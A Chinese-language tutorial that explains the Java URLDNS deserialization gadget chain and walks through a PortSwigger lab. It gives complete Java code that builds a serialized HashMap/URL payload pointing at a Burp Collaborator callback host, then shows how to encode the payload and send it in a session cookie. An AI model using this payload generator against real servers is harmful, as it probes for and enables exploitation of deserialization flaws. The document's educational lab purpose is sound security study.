Java HashMap
HashMap 是一个散列表,它存储的内容是键值对(key-value)映射。
put()函数可以将键/值对添加到 HashMap 中
实例:
1 2 3 4 5 6 7 8 9 10 11 12
| // 引入 HashMap 类 import java.util.HashMap;
public class RunoobTest { public static void main(String[] args) { // 创建 HashMap 对象 Sites HashMap<Integer, String> Sites = new HashMap<Integer, String>(); // 添加键值对 Sites.put(1, "Google"); System.out.println(Sites); } }
|
URLDNS利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class Main { public static void main(String[] args) throws Exception { HashMap<Object, Object> map = new HashMap<>(); URL url = new URL("https://teb8v00spyotab56ycdr1x4co3uuik69.oastify.com"); //使用put将key置为一个url map.put(url,null); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj);//序列化对象 }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = ois.readObject();//反序列化对象 System.out.println(o); } }
|
HashMap这个类重载readObject函数。当服务器对序列化对象进行反序列化时,会调用readObject()方法。
调用栈:
1 2 3 4 5 6 7
| ObjectInputStream.readObject() -> HashMap.readObject() -> HashMap.hash() (触发对 Key 的哈希计算) -> URL.hashCode() (计算 URL 对象的哈希) -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() (试图获取域名的 IP 地址) -> InetAddress.getByName() (发起真实的 DNS 解析请求)
|
readObject函数中,调用了hash方法:
进入hash方法,当key不等于NULL时,会调用hashcode()方法
当key为URL时,hashcode默认为-1,会调用URL的hashcode方法:
当key为url时,会进行dns查询。
实例:Exploiting Java deserialization with Apache Commons
本实验使用基于序列化的会话机制。参数session是个序列化对象
利用URLDNS链,进行验证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class MyURLDNSGenerator { public static void main(String[] args) throws Exception{ // 1. 填入你的盲测 DNS 接收域名 String dnsLogUrl = "https://am0uyz24lcdphuqw31qcerd4evkm8cw1.oastify.com"; String outputFile = "urldns.ser"; System.out.println("[*] 开始手动构建 URLDNS 链...");
// 2. 创建一个空的 HashMap 和 URL 对象 HashMap<URL, String> map = new HashMap<>(); URL url = new URL(dnsLogUrl);
// 3. 【核心技巧】利用反射获取 URL 类的私有属性 hashCode Field hashCodeField =URL.class.getDeclaredField("hashCode"); hashCodeField.setAccessible(true); hashCodeField.set(url,233); // 5. 将 URL 作为 Key 放入 HashMap map.put(url, "anything");
// 6. 【埋下炸弹】放完之后,再通过反射把 hashCode 强行改回 -1 // 这样当靶场反序列化它时,就会判定“没计算过哈希”,从而在靶场触发 DNS 请求 hashCodeField.set(url, -1);
// 7. 将这个“加了料”的 HashMap 序列化并写出到本地文件urldns.ser FileOutputStream fos = new FileOutputStream(outputFile); ObjectOutputStream oos = new ObjectOutputStream(fos); //ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(outputFile)); oos.writeObject(map);
oos.close(); fos.close();
System.out.println("[+] Payload 生成成功!文件已保存至: " + outputFile);
} }
|
将 Payload 转换为 Base64 编码:
CyberChef 操作: 将 urldns.ser 作为 Input 载入,左侧搜索 To Base64 拖入 Recipe,复制 Output 框生成的纯文本字符串。
将刚刚生成的 URLDNS Base64 字符串粘贴进去,将其替换。按下 Ctrl + U(进行 URL 编码为了防止 Base64 中的 +、/、= 等符号在 HTTP 传输中被解析错误)。
发送
回到 Burp Collaborator 窗口,点击 Poll now。弹出了几条全新的记录
参考:
https://www.cnblogs.com/1vxyz/p/17231164.html